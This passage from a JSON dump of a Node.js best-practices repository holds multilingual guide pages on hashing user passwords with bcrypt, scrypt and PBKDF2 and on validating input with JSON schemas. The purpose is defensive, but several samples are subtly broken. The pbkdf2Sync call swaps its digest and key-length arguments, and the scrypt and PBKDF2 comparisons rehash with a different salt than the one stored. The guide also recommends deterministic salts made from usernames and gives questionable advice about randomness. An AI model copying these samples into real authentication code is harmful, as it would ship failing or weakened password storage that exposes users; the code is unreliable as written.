aztarnaren algoritmoa/funtzioa aukeratzerakoan, kontuan hartu BCryptek 64 karaktereko muga duela, SCrypt konplexuagoak nahi adina gatz eta pasahitz erabiltzeko aukera ematen duen bitartean.\r\n\r\n##### Zergatik bota gatza?\r\n\r\nGatza gehitzean aztarna aldatu egiten da, eta, beraz, norbaiten sistemako pasahitz bereko aztarnatik bereizten da. Pasahitz bat erabiltzen baduzu gune anitzetarako eta beste norbaitek datuak urratuz lortuz gero zure pasahitzaren aztarna, ezingo du zure datu baseko aztarnarekin lotu. Denek aztarnak erabiltzen dituztenean, ia ezinezkoa da erasotzaileek pasahitza berrerabiltzeko ereduak identifikatzea.\r\n\r\n#### Pasahitzaren luzera\r\n\r\nZure pasahitza gehi gatza batera erabiliz ezin badute muga bat gainditu, eta, gatz ona erabiltzen baduzu, erabiltzaileen pasahitzak are mugatuagoak izango dira. Oro har ona izaten da muga hori gainditzea, eta, horretarako, aldez aurretik pasahitzen aztarna egin dezakezu. Zama administratiboa eragin ahal dizu, baina konpromisoa gai bazara iturriaren muturrean aztarna sinple bat modu koherentean erabiltzeko, aztarna aurrez konfigura dezakezu pasahitzetik sortzeko luzera zehatz bateko kate hexadezimalak, zure zerbitzarira bidali aurretik. Horrek esan nahi du zure APIan egiaztapen sendoak izan ditzakezula.\r\n\r\nAdibidez, zehazki 256 karakterreko luzera dituzten karakter hexadezimalak onartzen ditu soilik, baina erabiltzaileei aukera ematen die edozein karakterekin edozein luzerako pasahitzak erabiltzeko (oraindik nahikoa aztarna ona erabili behar duzu, nahi gabe talkarik ez sortzeko bi pasahitz ezberdinek aztarna berdina sortzen dutenean; ez legoke gaizki aztarna seguruagoak erabiltzea, denbora gehiago eskatzen badu ere)\r\n\r\nNabigatzailearen kode adibidea: `const hash = crypto.subtle.digest('sha-256', password)`\r\n\r\n#### Ausazkoa\r\n\r\nAhal den guztietan, utzi ausazko sorkuntza zuk aukeratutako algoritmoen esku. Kontuan izan, ez da `Math.random()` alternatibaren aipamenik eman; izan ere, saihestu beharko zenuke `crypto.random()` erabiltzea ere, ordenagailuko baliabide mugatu berezia baita Randomness, eta hartaz abusatzeak arazoak sor ahal dizkio zure programari eta baita makinako beste programa batzuei ere.\r\n\r\n#### Nola funtzionatzen dute BCryptek/SCryptek\r\n\r\nBiok ere iterazioak erabiltzen dituzte, zeren haien premisa hau baita: X denbora eta baliabide behar badituzu behin enkriptatzeko, eta X ^ erasotzaileak denbora eta baliabide asko behar baditu enkriptazioa indarrez behartzeko, orduan enkriptazioa enkriptatzen baduzu, eta berriro enkriptazio berria enkriptatzen baduzu, eta hori behin eta berriro egiten baduzu, gero eta handiagoak izango dira erasotzaileak behar dituen baliabideak zure aztarna behartzeko. SCryptek blokearen/ zatiaren tamainaren eta paralelismoaren parametroak ere baditu, \"zailtasunak\" areagotzen saiatzeko RAM edo PUZ nukleo kopuru jakin bat bakarrik beharko dutela uste duten erasotzaileei. Parametro horien eraginkortasuna eztabaidagai dago.\r\n\r\n#### Erreferentziak\r\n\r\n  - IETF - pasahitza biltegiratzeko gomendioak: https://tools.ietf.org/id/draft-whited-kitten-password-storage-00.html\r\n  - OWASP - Pasahitza biltegiratzeko tranpa orria: https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Password_Storage_Cheat_Sheet.md\r\n  - auth0 - Zer da Gatza Pasahitza: https://auth0.com/blog/adding-salt-to-hashing-a-better-way-to-store-passwords/\r\n  - Troy Hunt - Zein da Hashing eta Encryption arteko desberdintasuna: https://www.troyhunt.com/we-didnt-encrypt-your-password-we-hashed-it-heres-what-that-means/\r\n  - Password Hashing Competition: https://password-hashing.net/\r\n\r\n"
  },
  {
    "path": "sections/security/userpasswords.french.md",
    "content": "# Secure Your Users' Passwords\n\n### One Paragraph Explainer\n\n**Always** hash users' passwords as opposed to storing them as text; there are three options that depend on your use case for hashing user passwords. All the below functions need to be implemented properly to provide any security. (Reference the minimums or see the [IETF's recommendations](https://tools.ietf.org/id/draft-whited-kitten-password-storage-00.html#name-kdf-recommendations) for what parameters to use for each) You should use the recommended properties as a minimum, using higher parameters and a combination that's unique to your program can help mitigate some of the damage if someone ever runs off with your password hashes. Also, always add a [salt](https://auth0.com/blog/adding-salt-to-hashing-a-better-way-to-store-passwords/) (reproducible data, unique to the user and your system) to your passwords before you hash.\n\n  - For the majority of use cases, the popular library [`bcrypt`](https://www.npmjs.com/package/bcrypt) can be used. (minimum: `cost:12`, password lengths must be <64)\n  - For a slightly harder native solution, or for unlimited size passwords, use the [`scrypt`](https://nodejs.org/dist/latest-v14.x/docs/api/crypto.html#crypto_crypto_scrypt_password_salt_keylen_options_callback) function. (minimums: `N:32768, r:8, p:1`)\n  - For FIPS/Government compliance use the older [`PBKDF2`](https://nodejs.org/dist/latest-v14.x/docs/api/crypto.html#crypto_crypto_pbkdf2_password_salt_iterations_keylen_digest_callback) function included in the native crypto module. (minimums: `iterations: 10000, length:{salt: 16, password: 32}`)\n\n(NOTE: `Math.random()` should **never** be used as part of any password or token generation due to its predictability. See [the advanced section](#randomness) for more info)\n\n### Code example - Bcrypt\n\n```javascript\nconst iterations = 12;\ntry {\n// asynchronously generate a secure password\n  const hash = await bcrypt.hash('myPassword', iterations);\n  // Store secure hash in user record\n\n  // compare a provided password input with saved hash\n  const match = await bcrypt.compare('somePassword', hash);\n  if (match) {\n   // Passwords match\n  } else {\n   // Passwords don't match\n  }\n} catch {\n  logger.error('could not hash password.')\n}\n```\n\n### Code example - SCrypt\n\n```javascript\n  const outSize = 64;\n  const hash = crypto.scryptSync('myUnlimitedPassword','someUniqueUserValueForSalt',outSize).toString('hex');\n\n  // Store secure hash in user record\n\n  // compare a provided password input with saved hash\n  const match = hash === crypto.scryptSync('someUnlimitedPassword','derivedSalt',outSize).toString('hex');\n\n  if (match) {\n   // Passwords match\n  } else {\n   // Passwords don't match\n  }\n```\n\n### Code example - PBKDF2 (Password-Based Key Derivation Function, Crypto Spec v2.1)\n\n```javascript\ntry {\n  const outSize = 64;\n  const digest = 'blake2b512';\n  const iterations = 12;\n  const hash = crypto.pbkdf2Sync('myPassword','someUniqueUserValueForSalt', iterations * 1000, digest, outSize).toString('hex');\n\n  // Store secure hash in user record\n\n  // compare a provided password input with saved hash\n  const match = hash === crypto.pbkdf2Sync('somePassword','derivedSalt', iterations * 1000, digest, outSize).toString('hex');\n\n  if (match) {\n   // Passwords match\n  } else {\n   // Passwords don't match\n  }\n} catch {\n  logger.error('could not hash password.')\n}\n```\n\n### What other bloggers say\n\nFrom the blog by [Max McCarty](https://dzone.com/articles/nodejs-and-password-storage-with-bcrypt):\n> ... it’s not just using the right hashing algorithm. I’ve talked extensively about how the right tool also includes the necessary ingredient of “time” as part of the password hashing algorithm and what it means for the attacker who’s trying to crack passwords through brute-force.\n\nFrom the blog [Troy Hunt - Creator of HaveIBeenPwned.com](https://www.troyhunt.com/we-didnt-encrypt-your-password-we-hashed-it-heres-what-that-means/):\n> Saying that passwords are “encrypted” over and over again doesn’t make it so. They’re bcrypt hashes so good job there, but the fact they’re suggesting everyone changes their password illustrates that even good hashing has its risks.\n\n### Advanced & References\n\n#### Algorithms\n\nWhen storing user passwords, there are a few options to consider based on what the priority is.\n\nAll of the below algorithms/functions need to be implemented properly to provide any security. Please see the [IETF's recommendations](https://tools.ietf.org/id/draft-whited-kitten-password-storage-00.html#name-kdf-recommendations) for what parameters to use for each. You should use the recommended properties as a minimum, using higher parameters and a combination that's unique to your program can differentiate the hash of the exact same password and salt from someone elses implementation to yours, mitigating some of the risk if someone ever runs off with your password hashes.\n\nThe external dependency, [`bcrypt`](https://www.npmjs.com/package/bcrypt) is the most widely supported and should be used when possible, as when using `bcrypt`, a number of 'rounds' can be specified in order to provide a secure hash. This sets the work factor or the number of 'rounds' the data is processed for, and more hashing rounds leads to more secure hash (although this at the cost of CPU time). The introduction of hashing rounds means that the brute force factor is significantly reduced, as password crackers are slowed down increasing the time required to generate one attempt.\n\nThe [`scrypt`](https://nodejs.org/dist/latest-v14.x/docs/api/crypto.html#crypto_crypto_scrypt_password_salt_keylen_options_callback) function included in the native crypto module can be used as it is a slight improvement over `bcrypt`, allowing for unlimited length passwords, and does not add a dependency, though it needs more configuration and is newer and thus less scrutinized. `scrypt` uses cost (to increase CPU/memory cost), blockSize (to increase memory cost), and parallelization (to increase the cost of breaking it up into separate operations) together to define how secure it is, how long it will take, and what it's most secure against.\n\nIf FIPS or other compliance is absolutely necessary, the older [`PBKDF2`](https://nodejs.org/dist/latest-v14.x/docs/api/crypto.html#crypto_crypto_pbkdf2_password_salt_iterations_keylen_digest_callback) function included in the native crypto module should be used. `PBKDF2` has a similar api to `bcrypt` in that it uses an iteration count to define the strength and time to spend.\n\nOn track to be added sometime in 2021 (Through addition to OpenSSL) the `Argon2` function is the winner of the [Password Hashing Competition](https://password-hashing.net/) and top recommended by [OWASP](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Password_Storage_Cheat_Sheet.md#modern-algorithms) and the [IETF](https://tools.ietf.org/id/draft-whited-kitten-password-storage-00.html#name-kdf-recommendations). Once added to the native crypto module, `Argon2` should be stable and take precedence.\n\n#### Salting\n\nNo matter what the algorithm/function, always include some string that's unique to your system and the specific user. Some examples might be a combination of username/userID and your app name or the user's email and your business email. However this should also be considered when choosing your hashing algorithm/function since BCrypt limits you to 64 characters, whereas the more complicated SCrypt lets you use as much salt and password as you want.\n\n##### Why use salt?\n\nAdding salt changes the hash and thus makes it different from a hash of the same password in someone elses system. If someone uses the same password for multiple sites, and a hash of their password is obtained from someone elses data breach, they won't be able to match it to the hash in your database. When everyone uses hashes, it becomes nearly impossible for attackers to identify patterns of password reuse.\n\n#### Password Length\n\nIf your password plus salt has to come in under a limit, and if you use good salt, your users passwords will be even more limited. One way around this, which can be also be good generally, is to pre-hash the passwords. It can create administrative burden, but if you can commit to consistently using a single, simple, hash on the front-end you can set the pre-hash to generate hex strings of an exact length from the password before transmitting it to your server. This means you can have strong checks on your API; for example, only allowing hex characters of exactly 256 characters in length, but still giving users the ability to use passwords of any length with any characters. (You still need to use a good enough hashing that you don't accidentally create collisions where two different passwords create the same hash, it doesn't hurt to use more secure hashing for this, it just takes longer)\n\nExample Browser code would be `const hash = crypto.subtle.digest('sha-256', password)`;\n\n#### Randomness\n\nWhenever possible, leave the generation of randomness to the algorithms you choose. Notice, no mention of an alternative to `Math.random()` was provided, that's because you should even avoid using `crypto.random()` yourself, as *Randomness* is a special kind of limited resource on a computer, and abusing it can cause problems for your program and even other programs on the machine.\n\n#### How BCrypt/SCrypt Work\n\nBoth BCrypt/SCrypt use iterations since their premise is that if it takes you X amount of time and resources to hash once, and the attacker X^some-big-number to break the hash with brute force, then if you hash the hash of a hash etc. then you're greatly increasing the magnitude of resources an attacker would have to expend to break your hash. SCrypt also has parameters for block/chunk size and parallelism to try and add \"hardness\" for attackers that try to assume they only need a certain amount of RAM or CPU cores, though the effectiveness of these parameters is hotly debated.\n\n#### References\n\n  - IETF - Password Storage Reccomendations: https://tools.ietf.org/id/draft-whited-kitten-password-storage-00.html\n  - OWASP - Password Storage CheatSheet: https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Password_Storage_Cheat_Sheet.md\n  - auth0 - What is Password Salt: https://auth0.com/blog/adding-salt-to-hashing-a-better-way-to-store-passwords/\n  - Troy Hunt - What's the difference between Hashing and Encryption: https://www.troyhunt.com/we-didnt-encrypt-your-password-we-hashed-it-heres-what-that-means/\n  - Password Hashing Competition: https://password-hashing.net/\n"
  },
  {
    "path": "sections/security/userpasswords.md",
    "content": "# Secure Your Users' Passwords\r\n\r\n### One Paragraph Explainer\r\n\r\n**Always** hash users' passwords as opposed to storing them as text; there are three options that depend on your use case for hashing user passwords. All the below functions need to be implemented properly to provide any security. (Reference the minimums or see the [IETF's recommendations](https://tools.ietf.org/id/draft-whited-kitten-password-storage-00.html#name-kdf-recommendations) for what parameters to use for each) You should use the recommended properties as a minimum, using higher parameters and a combination that's unique to your program can help mitigate some of the damage if someone ever runs off with your password hashes. Also, always add a [salt](https://auth0.com/blog/adding-salt-to-hashing-a-better-way-to-store-passwords/) (reproducible data, unique to the user and your system) to your passwords before you hash.\r\n\r\n  - For the majority of use cases, the popular library [`bcrypt`](https://www.npmjs.com/package/bcrypt) can be used. (minimum: `cost:12`, password lengths must be <64)\r\n  - For a slightly harder native solution, or for unlimited size passwords, use the [`scrypt`](https://nodejs.org/dist/latest-v14.x/docs/api/crypto.html#crypto_crypto_scrypt_password_salt_keylen_options_callback) function. (minimums: `N:32768, r:8, p:1`)\r\n  - For FIPS/Government compliance use the older [`PBKDF2`](https://nodejs.org/dist/latest-v14.x/docs/api/crypto.html#crypto_crypto_pbkdf2_password_salt_iterations_keylen_digest_callback) function included in the native crypto module. (minimums: `iterations: 10000, length:{salt: 16, password: 32}`)\r\n  \r\n(NOTE: `Math.random()` should **never** be used as part of any password or token generation due to its predictability. See [the advanced section](#randomness) for more info)\r\n\r\n### Code example - Bcrypt\r\n\r\n```javascript\r\nconst iterations = 12;\r\ntry {\r\n// asynchronously generate a secure password\r\n  const hash = await bcrypt.hash('myPassword', iterations);\r\n  // Store secure hash in user record\r\n\r\n  // compare a provided password input with saved hash\r\n  const match = await bcrypt.compare('somePassword', hash);\r\n  if (match) {\r\n   // Passwords match\r\n  } else {\r\n   // Passwords don't match\r\n  }\r\n} catch {\r\n  logger.error('could not hash password.')\r\n}\r\n```\r\n\r\n### Code example - SCrypt\r\n\r\n```javascript\r\n  const outSize = 64;\r\n  const hash = crypto.scryptSync('myUnlimitedPassword','someUniqueUserValueForSalt',outSize).toString('hex');\r\n\r\n  // Store secure hash in user record\r\n\r\n  // compare a provided password input with saved hash\r\n  const match = hash === crypto.scryptSync('someUnlimitedPassword','derivedSalt',outSize).toString('hex');\r\n\r\n  if (match) {\r\n   // Passwords match\r\n  } else {\r\n   // Passwords don't match\r\n  }\r\n```\r\n\r\n### Code example - PBKDF2 (Password-Based Key Derivation Function, Crypto Spec v2.1)\r\n\r\n```javascript\r\ntry {\r\n  const outSize = 64;\r\n  const digest = 'blake2b512';\r\n  const iterations = 12;\r\n  const hash = crypto.pbkdf2Sync('myPassword','someUniqueUserValueForSalt', iterations * 1000, digest, outSize).toString('hex');\r\n\r\n  // Store secure hash in user record\r\n\r\n  // compare a provided password input with saved hash\r\n  const match = hash === crypto.pbkdf2Sync('somePassword','derivedSalt', iterations * 1000, digest, outSize).toString('hex');\r\n\r\n  if (match) {\r\n   // Passwords match\r\n  } else {\r\n   // Passwords don't match\r\n  }\r\n} catch {\r\n  logger.error('could not hash password.')\r\n}\r\n```\r\n\r\n### What other bloggers say\r\n\r\nFrom the blog by [Max McCarty](https://dzone.com/articles/nodejs-and-password-storage-with-bcrypt):\r\n> ... it’s not just using the right hashing algorithm. I’ve talked extensively about how the right tool also includes the necessary ingredient of “time” as part of the password hashing algorithm and what it means for the attacker who’s trying to crack passwords through brute-force.\r\n\r\nFrom the blog [Troy Hunt - Creator of HaveIBeenPwned.com](https://www.troyhunt.com/we-didnt-encrypt-your-password-we-hashed-it-heres-what-that-means/):\r\n> Saying that passwords are “encrypted” over and over again doesn’t make it so. They’re bcrypt hashes so good job there, but the fact they’re suggesting everyone changes their password illustrates that even good hashing has its risks.\r\n\r\n### Advanced & References\r\n\r\n#### Algorithms\r\n\r\nWhen storing user passwords, there are a few options to consider based on what the priority is.\r\n\r\nAll of the below algorithms/functions need to be implemented properly to provide any security. Please see the [IETF's recommendations](https://tools.ietf.org/id/draft-whited-kitten-password-storage-00.html#name-kdf-recommendations) for what parameters to use for each. You should use the recommended properties as a minimum, using higher parameters and a combination that's unique to your program can differentiate the hash of the exact same password and salt from someone elses implementation to yours, mitigating some of the risk if someone ever runs off with your password hashes.\r\n\r\nThe external dependency, [`bcrypt`](https://www.npmjs.com/package/bcrypt) is the most widely supported and should be used when possible, as when using `bcrypt`, a number of 'rounds' can be specified in order to provide a secure hash. This sets the work factor or the number of 'rounds' the data is processed for, and more hashing rounds leads to more secure hash (although this at the cost of CPU time). The introduction of hashing rounds means that the brute force factor is significantly reduced, as password crackers are slowed down increasing the time required to generate one attempt.\r\n\r\nThe [`scrypt`](https://nodejs.org/dist/latest-v14.x/docs/api/crypto.html#crypto_crypto_scrypt_password_salt_keylen_options_callback) function included in the native crypto module can be used as it is a slight improvement over `bcrypt`, allowing for unlimited length passwords, and does not add a dependency, though it needs more configuration and is newer and thus less scrutinized. `scrypt` uses cost (to increase CPU/memory cost), blockSize (to increase memory cost), and parallelization (to increase the cost of breaking it up into separate operations) together to define how secure it is, how long it will take, and what it's most secure against.\r\n\r\nIf FIPS or other compliance is absolutely necessary, the older [`PBKDF2`](https://nodejs.org/dist/latest-v14.x/docs/api/crypto.html#crypto_crypto_pbkdf2_password_salt_iterations_keylen_digest_callback) function included in the native crypto module should be used. `PBKDF2` has a similar api to `bcrypt` in that it uses an iteration count to define the strength and time to spend.\r\n\r\nOn track to be added sometime in 2021 (Through addition to OpenSSL) the `Argon2` function is the winner of the [Password Hashing Competition](https://password-hashing.net/) and top recommended by [OWASP](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Password_Storage_Cheat_Sheet.md#modern-algorithms) and the [IETF](https://tools.ietf.org/id/draft-whited-kitten-password-storage-00.html#name-kdf-recommendations). Once added to the native crypto module, `Argon2` should be stable and take precedence.\r\n\r\n#### Salting\r\n\r\nNo matter what the algorithm/function, always include some string that's unique to your system and the specific user. Some examples might be a combination of username/userID and your app name or the user's email and your business email. However this should also be considered when choosing your hashing algorithm/function since BCrypt limits you to 64 characters, whereas the more complicated SCrypt lets you use as much salt and password as you want.\r\n\r\n##### Why use salt?\r\n\r\nAdding salt changes the hash and thus makes it different from a hash of the same password in someone elses system. If someone uses the same password for multiple sites, and a hash of their password is obtained from someone elses data breach, they won't be able to match it to the hash in your database. When everyone uses hashes, it becomes nearly impossible for attackers to identify patterns of password reuse.\r\n\r\n#### Password Length\r\n\r\nIf your password plus salt has to come in under a limit, and if you use good salt, your users passwords will be even more limited. One way around this, which can be also be good generally, is to pre-hash the passwords. It can create administrative burden, but if you can commit to consistently using a single, simple, hash on the front-end you can set the pre-hash to generate hex strings of an exact length from the password before transmitting it to your server. This means you can have strong checks on your API; for example, only allowing hex characters of exactly 256 characters in length, but still giving users the ability to use passwords of any length with any characters. (You still need to use a good enough hashing that you don't accidentally create collisions where two different passwords create the same hash, it doesn't hurt to use more secure hashing for this, it just takes longer)\r\n\r\nExample Browser code would be `const hash = crypto.subtle.digest('sha-256', password)`;\r\n\r\n#### Randomness\r\n\r\nWhenever possible, leave the generation of randomness to the algorithms you choose. Notice, no mention of an alternative to `Math.random()` was provided, that's because you should even avoid using `crypto.random()` yourself, as *Randomness* is a special kind of limited resource on a computer, and abusing it can cause problems for your program and even other programs on the machine.\r\n\r\n#### How BCrypt/SCrypt Work\r\n\r\nBoth BCrypt/SCrypt use iterations since their premise is that if it takes you X amount of time and resources to hash once, and the attacker X^some-big-number to break the hash with brute force, then if you hash the hash of a hash etc. then you're greatly increasing the magnitude of resources an attacker would have to expend to break your hash. SCrypt also has parameters for block/chunk size and parallelism to try and add \"hardness\" for attackers that try to assume they only need a certain amount of RAM or CPU cores, though the effectiveness of these parameters is hotly debated.\r\n\r\n#### References\r\n\r\n  - IETF - Password Storage Reccomendations: https://tools.ietf.org/id/draft-whited-kitten-password-storage-00.html\r\n  - OWASP - Password Storage CheatSheet: https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Password_Storage_Cheat_Sheet.md\r\n  - auth0 - What is Password Salt: https://auth0.com/blog/adding-salt-to-hashing-a-better-way-to-store-passwords/\r\n  - Troy Hunt - What's the difference between Hashing and Encryption: https://www.troyhunt.com/we-didnt-encrypt-your-password-we-hashed-it-heres-what-that-means/\r\n  - Password Hashing Competition: https://password-hashing.net/\r\n  \r\n"
  },
  {
    "path": "sections/security/validation.basque.md",
    "content": "# Balidatu sarrerako JSON eskemak\r\n\r\n### Azalpena\r\n\r\nBalioztatzea zehaztea da, oso esplizitua izatea gure aplikazioak zer karga hartzeko gaitasuna duen eta zenbat denbora jarraituko duen lanean huts egin arte, itxaropenetatik aldentzen bada sarrera. Horrek erasotzaileen aukerak (surface) minimizatzen ditu ezin baitira saiatu egitura, balio eta luzera desberdinetako karga erabilgarririk probatzen. Praktikan, DDOS bezalako erasoak saihesten ditu (kodeak nekez huts egingo du sarrera ondo zehaztuta dagoenean) eta deserializazio ez segurua (JSONk ez du sorpresarik). Nahiz eta balioztatzea kodetu daitekeen edo hainbat balioztatze mota erabili (TypeScript, ES6 klaseak), badirudi komunitateak gero eta gustukoago dituela JSONen oinarritutako eskemak, arau konplexuak kodetu gabe deklaratzea ahalbidetzen dutelako eta itxaropenak partekatzen dituztelako interfazearekin. JSON-schema estandar berri bat da, npm liburutegi eta tresna askorekin bateragarria dena (adibidez, [jsonschema](https://www.npmjs.com/package/jsonschema), [Postman](http://blog.getpostman.com/2017/07/28/api-testing-tips-from-a-postman-professional/)); [joi](https://www.npmjs.com/package/@hapi/joi) ere oso ezaguna da eta sintaxi samurra du. Normalean JSON sintaxiak ezin die balioztatze eszenatoki guztiei aurre egin, eta, hori dela eta, oso baliagarriak dira kode pertsonalizatuak edo aldez aurretik prestatutako balioztatze esparruak, [validator.js](https://github.com/chriso/validator.js/) bezala. Aukeratutako sintaxia edozein dela ere, ziurtatu balioztatzea ahalik eta azkarren egikaritzen dela; adibidez, eskaera gorputza balioztatzen duen Express middlewarea erabiliz, eskaera ibilbidearen kudeatzaileari pasa aurretik.\r\n\r\n### Adibidea: JSON-schema balioztatzeko arauak\r\n\r\n```json\r\n{\r\n  \"$schema\": \"http://json-schema.org/draft-06/schema#\",\r\n  \"izenburua\": \"Produktua\",\r\n  \"deskribapena\": \"Acme katalogoko produktu bat\",\r\n  \"mota\": \"object\",\r\n  \"ezaugarriak\": {\r\n    \"izena\": {\r\n      \"deskribapena\": \"Produktuaren izena\",\r\n      \"mota\": \"string\"\r\n    },\r\n    \"prezioa\": {\r\n      \"mota\": \"number\",\r\n      \"minimoExklusiboa\": 0\r\n    }\r\n  },\r\n  \"beharrezkoak\": [\"id\", \"izena\", \"prezioa\"]\r\n}\r\n```\r\n\r\n### Adibidea: JSON-schema erabiliz entitate bat balioztatzea\r\n\r\n```javascript\r\nconst JSONValidator = require(\"jsonschema\").Validator;\r\n\r\nclass Produktua {\r\n  validate() {\r\n    const v = new JSONValidator();\r\n\r\n    return v.validate(this, schema);\r\n  }\r\n\r\n  static get schema() {\r\n    //JSON-Schema definitu, begiratu hurrengo adibidea\r\n  }\r\n}\r\n```\r\n\r\n### Adibidea: middleware balioztatzailearen erabilera\r\n\r\n```javascript\r\n// Balioztatzailea middleware generiko bat da, balioztatu beharreko entitatea hartu eta bueltatu beharrekoaz arduratzen dena\r\n// HTTP 400 estatusa (Bad Request) balioztatzeak huts egin beharko luke\r\nrouter.post('/' , **validator(Product.validate)**, async (req, res, next) => {\r\n    // bideen kuadeaketa kodea hemen doa\r\n});\r\n\r\n```\r\n\r\n### Beste blogari batzuek diotena\r\n\r\n[Gergely Nemeth](https://nemethgergely.com/blog/nodejs-security-overview) bloga:\r\n\r\n> Zure aplikazioaren segurtasunari dagokionez, erabiltzaileen sarrera balioztatzea da egin behar dituzun gauzarik garrantzitsuenetako bat. Behar bezala egiten ez baduzu, zure aplikazioa eta erabiltzaileak eraso ugari izateko arriskuan egon daitezke, besteak beste, komando injekzioa, SQL injekzioa edo gordetako guneetako scriptak.<br/>\r\n\r\nErabiltzaileen sarrera balioztatzeko, joi da hauta dezakezun liburutegi onenetako bat. Joi objektuen eskemen deskribapen hizkuntza da eta JavaScript objektuen balioztatzailea.\r\n"
  },
  {
    "path": "sections/security/validation.brazilian-portuguese.md",
    "content": "# Valide os esquemas de entrada JSON\r\n\r\n### Explicação em um Parágrafo\r\n\r\nA validação é sobre ser muito explícito em qual entrada nossa aplicação está disposta a aceitar e falhar rapidamente caso a entrada se desvie das expectativas. Isso minimiza a superfície de um invasor que não pode mais testar cargas com estrutura, valores e comprimento diferentes. Na pratica isso evita ataques como DDOS (é improvável que o código falhe quando a entrada é bem definida) e Deserialização Insegura (JSON não contém surpresas). Embora a validação possa ser codificada ou basear-se em classes e tipos (classes TypeScript, ES6), a comunidade parece gostar cada vez mais de esquemas baseados em JSON, pois eles permitem a declaração de regras complexas sem codificação e compartilham as expectativas com o frontend. O esquema JSON é um padrão emergente que é suportado por muitas bibliotecas e ferramentas npm (por exemplo [jsonschema](https://www.npmjs.com/package/jsonschema), [Postman](http://blog.getpostman.com/2017/07/28/api-testing-tips-from-a-postman-professional/)), [joi](https://www.npmjs.com/package/joi) também é altamente popular com uma bela sintaxe. Normalmente, a sintaxe JSON não pode abranger todos os cenários de validação e códigos personalizados ou estruturas de validação pré-criadas, como [validator.js](https://github.com/chriso/validator.js/) vêm a calhar. Independentemente da sintaxe escolhida, certifique-se de executar a validação o mais cedo possível - Por exemplo, usando o middleware Express que valida o corpo da solicitação antes que a solicitação seja passada para o manipulador de rota\r\n\r\n### Exemplo - Regras de validação de JSON-Schema\r\n\r\n``` javascript\r\n{\r\n    \"$schema\": \"http://json-schema.org/draft-06/schema#\",\r\n    \"title\": \"Product\",\r\n    \"description\": \"A product from Acme's catalog\",\r\n    \"type\": \"object\",\r\n    \"properties\": {\r\n        \"name\": {\r\n            \"description\": \"Name of the product\",\r\n            \"type\": \"string\"\r\n        },\r\n        \"price\": {\r\n            \"type\": \"number\",\r\n            \"exclusiveMinimum\": 0\r\n        }\r\n    },\r\n    \"required\": [\"id\", \"name\", \"price\"]\r\n}\r\n```\r\n\r\n\r\n### Exemplo - Validando uma entidade usando JSON-Schema\r\n\r\n``` javascript\r\nconst JSONValidator = require(\"jsonschema\").Validator;\r\n\r\nclass Product {\r\n  \r\n  validate() {\r\n    var v = new JSONValidator();\r\n\r\n    return v.validate(this, schema);\r\n  }\r\n\r\n  static get schema() {\r\n    //defina um JSON-Schema, veja o exemplo acima\r\n  }\r\n}\r\n\r\n```\r\n\r\n### Exemplo - Uso de validador middleware\r\n\r\n``` javascript\r\n// O validador é um middleware genérico que obtém a entidade que deve validar e toma o cuidado de retornar\r\n// Status HTTP 400 (Bad Request) caso a validação da carga útil do corpo falhe\r\nrouter.post(\"/\" , **validator(Product.validate)**, async (req, res, next) => {\r\n    // código de manipulação de rota vai aqui\r\n});\r\n\r\n```\r\n\r\n\r\n\r\n### O que Outros Blogueiros Dizem\r\n\r\nDo blog [Gergely Nemeth](https://nemethgergely.com/blog/nodejs-security-overview):\r\n> Validar a entrada do usuário é uma das coisas mais importantes a fazer quando se trata da segurança do seu aplicativo. Não fazer isso corretamente pode abrir o aplicativo e os usuários para uma ampla variedade de ataques, incluindo injeção de comando, injeção de SQL ou scripts de sites cruzados armazenados.<br/>\r\n\r\nPara validar a entrada do usuário, uma das melhores bibliotecas que você pode escolher é a joi. Joi é uma linguagem de descrição de esquemas de objeto e um validador para objetos JavaScript.\r\n"
  },
  {
    "path": "sections/security/validation.french.md",
    "content": "# Validate the incoming JSON schemas\n\n### One Paragraph Explainer\n\nValidation is about being very explicit on what payload our app is willing to accept and failing fast should the input deviate from the expectations. This minimizes the attacker's surface who can no longer try out payloads with a different structure, values and length. Practically it prevents attacks like DDOS (code is unlikely to fail when the input is well defined) and Insecure Deserialization (JSON contain no surprises). Though validation can be coded or relied upon classes and types (TypeScript, ES6 classes) the community seems to increasingly like JSON-based schemas as these allow declaring complex rules without coding and share the expectations with the frontend. JSON-schema is an emerging standard that is supported by many npm libraries and tools (e.g. [jsonschema](https://www.npmjs.com/package/jsonschema), [Postman](http://blog.getpostman.com/2017/07/28/api-testing-tips-from-a-postman-professional/)), [joi](https://www.npmjs.com/package/@hapi/joi) is also highly popular with sweet syntax. Typically JSON syntax can't cover all validation scenario and custom code or pre-baked validation frameworks like [validator.js](https://github.com/chriso/validator.js/) come in handy. Regardless of the chosen syntax, ensure to run the validation as early as possible - For example, by using Express middleware that validates the request body before the request is passed to the route handler\n\n### Example - JSON-Schema validation rules\n\n```json\n{\n    \"$schema\": \"http://json-schema.org/draft-06/schema#\",\n    \"title\": \"Product\",\n    \"description\": \"A product from Acme's catalog\",\n    \"type\": \"object\",\n    \"properties\": {\n        \"name\": {\n            \"description\": \"Name of the product\",\n            \"type\": \"string\"\n        },\n        \"price\": {\n            \"type\": \"number\",\n            \"exclusiveMinimum\": 0\n        }\n    },\n    \"required\": [\"id\", \"name\", \"price\"]\n}\n```\n\n\n### Example - Validating an entity using JSON-Schema\n\n```javascript\nconst JSONValidator = require('jsonschema').Validator;\n\nclass Product {\n\n  validate() {\n    const v = new JSONValidator();\n\n    return v.validate(this, schema);\n  }\n\n  static get schema() {\n    //define JSON-Schema, see example above\n  }\n}\n\n```\n\n### Example - Usage of middleware validator\n\n```javascript\n// The validator is a generic middleware that gets the entity it should validate and takes care to return\n// HTTP status 400 (Bad Request) should the body payload validation fail\nrouter.post('/' , **validator(Product.validate)**, async (req, res, next) => {\n    // route handling code goes here\n});\n\n```\n\n\n\n### What other bloggers say\n\nFrom the blog [Gergely Nemeth](https://nemethgergely.com/blog/nodejs-security-overview):\n> Validating user input is one of the most important things to do when it comes to the security of your application. Failing to do it correctly can open up your application and users to a wide range of attacks, including command injection, SQL injection or stored cross-site scripting.<br/>\n\nTo validate user input, one of the best libraries you can pick is joi. Joi is an object schema description language and validator for JavaScript objects.\n"
  },
  {
    "path": "sections/security/validation.japanese.md",
